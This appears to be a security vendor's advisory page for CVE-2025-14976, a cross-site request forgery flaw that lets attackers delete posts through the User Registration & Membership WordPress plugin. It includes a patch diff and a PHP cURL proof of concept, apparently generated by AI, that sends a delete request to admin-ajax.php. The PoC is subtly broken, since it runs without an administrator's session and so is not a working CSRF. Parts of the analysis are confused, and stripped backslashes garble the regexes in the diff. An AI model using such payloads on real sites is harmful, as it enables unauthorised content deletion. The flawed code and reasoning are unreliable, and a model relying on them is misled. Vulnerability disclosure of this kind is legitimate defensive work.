Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14976: User Registration & Membership <= 4.4.8 – Cross-Site Request Forgery to Arbitrary Post Deletion (user-registration)

Severity Medium (CVSS 5.4)
CWE 352
Vulnerable Version 4.4.8
Patched Version 4.4.9
Disclosed January 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14976:
The User Registration & Membership WordPress plugin, versions up to and including 4.4.8, contains a Cross-Site Request Forgery (CSRF) vulnerability in its administrative post management functionality. This flaw allows unauthenticated attackers to delete arbitrary posts by tricking an administrator into performing an action, such as clicking a malicious link. The vulnerability has a CVSS score of 5.4 (Medium severity).

Root Cause:
The vulnerability exists in the `process_row_actions` function within the abstract list table handler (`user-registration/includes/abstracts/abstract-ur-list-table.php`). The function processes bulk actions like ‘delete’, ‘trash’, and ‘untrash’ for posts. In the vulnerable version, the ‘delete’, ‘trash’, and ‘untrash’ case blocks (lines 263-293) lacked a call to `check_admin_referer()`. This function validates the WordPress nonce, a security token that prevents CSRF attacks. The missing validation allowed forged requests to pass through if the attacker could predict or bypass the nonce check.

Exploitation:
An attacker crafts a malicious link or form that targets the plugin’s administrative AJAX or POST handler. The payload would include the `action` parameter set to ‘delete’ (or ‘trash’/’untrash’) and the `post_id` parameter specifying the target post. The request would be sent to a WordPress administrative endpoint, such as `admin-ajax.php` or a custom admin page that invokes the `process_row_actions` function. When a logged-in administrator with appropriate privileges (e.g., `delete_posts` capability) visits the attacker’s page, the forged request executes, deleting the specified post without the administrator’s consent.

Patch Analysis:
The patch adds nonce validation using `check_admin_referer( ‘bulk-‘ . $this->_args[‘plural’] )` at the beginning of each case block for ‘bulk_trash’, ‘trash’, ‘bulk_untrash’, ‘untrash’, ‘bulk_delete’, and ‘delete’ actions. This function verifies the request includes a valid nonce specific to the bulk action context. The patch also updates the plugin version from 4.4.8 to 4.4.9 in `user-registration/user-registration.php`. The fix ensures that any request attempting to perform these destructive actions must originate from a legitimate administrative interface, blocking CSRF attacks.

Impact:
Successful exploitation allows attackers to delete arbitrary posts on the WordPress site. This can lead to content loss, site defacement, or disruption of normal site operations. The attack requires social engineering to trick a privileged user into performing an action, but no authentication is required for the attacker. The impact is limited to post deletion and does not extend to privilege escalation or remote code execution.

Differential between vulnerable and patched code

Code Diff
--- a/user-registration/includes/abstracts/abstract-ur-list-table.php
+++ b/user-registration/includes/abstracts/abstract-ur-list-table.php
@@ -263,26 +263,34 @@

 				case 'bulk_trash':
 				case 'trash':
+					check_admin_referer( 'bulk-' . $this->_args['plural'] );
+
 					if ( ! current_user_can( 'delete_posts' ) ) {
 						wp_die( esc_html__( 'You do not have permission to trash posts!', 'user-registration' ) );
 					} else {
 						$post_ids = isset( $_REQUEST[ $this->_args['singular'] ] ) ? array_map( 'absint', (array) $_REQUEST[ $this->_args['singular'] ] ) : '';
 						$this->bulk_trash( $post_ids );
 					}
+
 					break;

 				case 'bulk_untrash':
 				case 'untrash':
+					check_admin_referer( 'bulk-' . $this->_args['plural'] );
+
 					if ( ! current_user_can( 'edit_posts' ) ) {
 						wp_die( esc_html__( 'You do not have permission to untrash posts!', 'user-registration' ) );
 					} else {
 						$post_ids = isset( $_REQUEST[ $this->_args['singular'] ] ) ? array_map( 'absint', (array) $_REQUEST[ $this->_args['singular'] ] ) : '';
 						$this->bulk_untrash( $post_ids );
 					}
+
 					break;

 				case 'bulk_delete':
 				case 'delete':
+					check_admin_referer( 'bulk-' . $this->_args['plural'] );
+
 					if ( ! current_user_can( 'delete_posts' ) ) {
 						wp_die( esc_html__( 'You do not have permission to delete posts!', 'user-registration' ) );
 					} else {
--- a/user-registration/user-registration.php
+++ b/user-registration/user-registration.php
@@ -3,7 +3,7 @@
  * Plugin Name: User Registration & Membership
  * Plugin URI: https://wpuserregistration.com/
  * Description: The most flexible User Registration and Membership plugin for WordPress.
- * Version: 4.4.8
+ * Version: 4.4.9
  * Author: WPEverest
  * Author URI: https://wpuserregistration.com
  * Text Domain: user-registration
@@ -35,7 +35,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '4.4.8';
+		public $version = '4.4.9';

 		/**
 		 * Session instance.
@@ -112,7 +112,7 @@
 			$this->includes();
 			$this->init_hooks();
 			add_action( 'plugins_loaded', array( $this, 'objects' ), 1 );
-			add_action( 'in_plugin_update_message-' . UR_PLUGIN_BASENAME, array( __CLASS__, 'in_plugin_update_message' ) );
+			add_action( 'in_plugin_update_message-' . UR_PLUGIN_BASENAME, array( __CLASS__, 'in_plugin_update_message' ), 10, 2 );

 			do_action( 'user_registration_loaded' );
 		}
@@ -480,16 +480,21 @@
 		 *
 		 * @param array $args Plugin args.
 		 */
-		public static function in_plugin_update_message( $args ) {
-			$transient_name = 'ur_upgrade_notice_' . $args['Version'];
+		public static function in_plugin_update_message( $plugin_data, $response ) {
+			if ( empty( $response ) || empty( $response->new_version ) ) {
+				return;
+			}
+			$new_version = (string) $response->new_version;
+
+			$transient_name = 'ur_upgrade_notice_' . $new_version;
 			$upgrade_notice = get_transient( $transient_name );

 			if ( false === $upgrade_notice ) {
-				$response = wp_safe_remote_get( 'https://plugins.svn.wordpress.org/user-registration/trunk/readme.txt' );
+				$http_response = wp_safe_remote_get( 'https://plugins.svn.wordpress.org/user-registration/trunk/readme.txt' );

-				if ( ! is_wp_error( $response ) && ! empty( $response['body'] ) ) {
-					$upgrade_notice = self::parse_update_notice( $response['body'], $args['new_version'] );
-					set_transient( $transient_name, $upgrade_notice, DAY_IN_SECONDS );
+				if ( ! is_wp_error( $http_response ) && ! empty( $http_response['body'] ) ) {
+					$upgrade_notice = self::parse_update_notice( $http_response['body'], $new_version );
+					set_transient( $transient_name, $upgrade_notice, 3 * DAY_IN_SECONDS );
 				}
 			}

@@ -503,45 +508,56 @@
 		 * @param string $new_version New version.
 		 */
 		private static function parse_update_notice( $content, $new_version ) {
-			// Output Upgrade Notice.
-			$matches        = null;
-			$regexp         = '~==s*Upgrade Notices*==s*=s*(.*)s*=(.*)(=s*' . preg_quote( UR_VERSION ) . 's*=|$)~Uis';
 			$upgrade_notice = '';

-			if ( preg_match( $regexp, $content, $matches ) ) {
-
-				$version = trim( $matches[1] );
-				$notices = (array) preg_split( '~[rn]+~', trim( $matches[2] ) );
+			// Match all version blocks under "== Upgrade Notice =="
+			$blocks_regex = '~=s*([d.]+)s*=(.*?)(?==s*[d.]+s*=|$)~s';
+			if ( preg_match_all( $blocks_regex, $content, $matches, PREG_SET_ORDER ) ) {
+				foreach ( $matches as $match ) {
+					$version_line = trim( $match[1] );
+					$block_text   = trim( $match[2] );
+
+					// Only process the block if it matches $new_version
+					if ( $version_line !== $new_version ) {
+						continue;
+					}

-				// Check the latest stable version and ignore trunk.
-				if ( $version === $new_version && version_compare( UR_VERSION, $version, '<' ) ) {
+					$notices = (array) preg_split( '~[rn]+~', $block_text );

 					$upgrade_notice .= '<div class="ur_plugin_upgrade_notice">';
 					$upgrade_notice .= '<div class="ur_plugin_upgrade_notice_body">';

 					foreach ( $notices as $line ) {
-
-						$line = trim( $line ); // Remove extra whitespace
-
+						$line = trim( $line );
 						if ( empty( $line ) ) {
-							continue; // Skip empty lines
+							continue;
 						}

-						$line = preg_replace( '~[([^]]*)](([^)]*))~', '<a href="$2">$1</a>', $line );
-
-						$line = preg_replace( '~^###s*(.*)~', '<p class="upgrade-title" style="font-size: 14px;font-weight: 600" >$1</p>', $line );
-
-						if ( ! preg_match( '~^<h3>|<p>|<a |<ul>|<ol>|<li>~', $line ) ) {
-							$line = '<p style="font-size: 12px;>' . $line . '</p>';
+						$line = preg_replace(
+							'~[s*([^]]+)s*]s*(s*([^)]+)s*)~',
+							'<a href="$2" target="_blank" rel="noopener noreferrer">$1</a>',
+							$line
+						);
+
+						// Convert headings
+						if ( preg_match( '~^###s*(.*)~', $line, $heading ) ) {
+							$line = '<p class="upgrade-title" style="font-size:13px;font-weight:600;">' . $heading[1] . '</p>';
+						} elseif ( preg_match( '~^##s*(.*)~', $line, $heading ) ) {
+							$line = '<p class="upgrade-heading" style="font-size:14px;font-weight:600;">' . $heading[1] . '</p>';
+						} else {
+							$line = '<p style="font-size:12px;">' . $line . '</p>';
 						}

-						$upgrade_notice .= wp_kses_post( trim( $line ) );
+						$upgrade_notice .= wp_kses_post( $line );
 					}

-					$upgrade_notice .= '</div> ';
-					$upgrade_notice .= '</div> ';
+					$upgrade_notice .= '</div>';
+					$upgrade_notice .= '</div>';
+
+					break;
 				}
 			}
+
 			return wp_kses_post( $upgrade_notice );
 		}
 	}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14976 - User Registration & Membership <= 4.4.8 - Cross-Site Request Forgery to Arbitrary Post Deletion
<?php
// Configuration
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Target WordPress admin AJAX endpoint
$post_id = 1; // ID of the post to delete
$action = 'delete'; // Could also be 'trash' or 'untrash'

// Craft the malicious POST request payload
$payload = array(
    'action' => $action,
    'post_id' => $post_id,
    // Note: The vulnerable version does not validate the nonce, so it can be omitted or set to a dummy value.
    // In a real attack, the attacker would need to lure an admin to a page that submits this form.
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
}

// Clean up
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School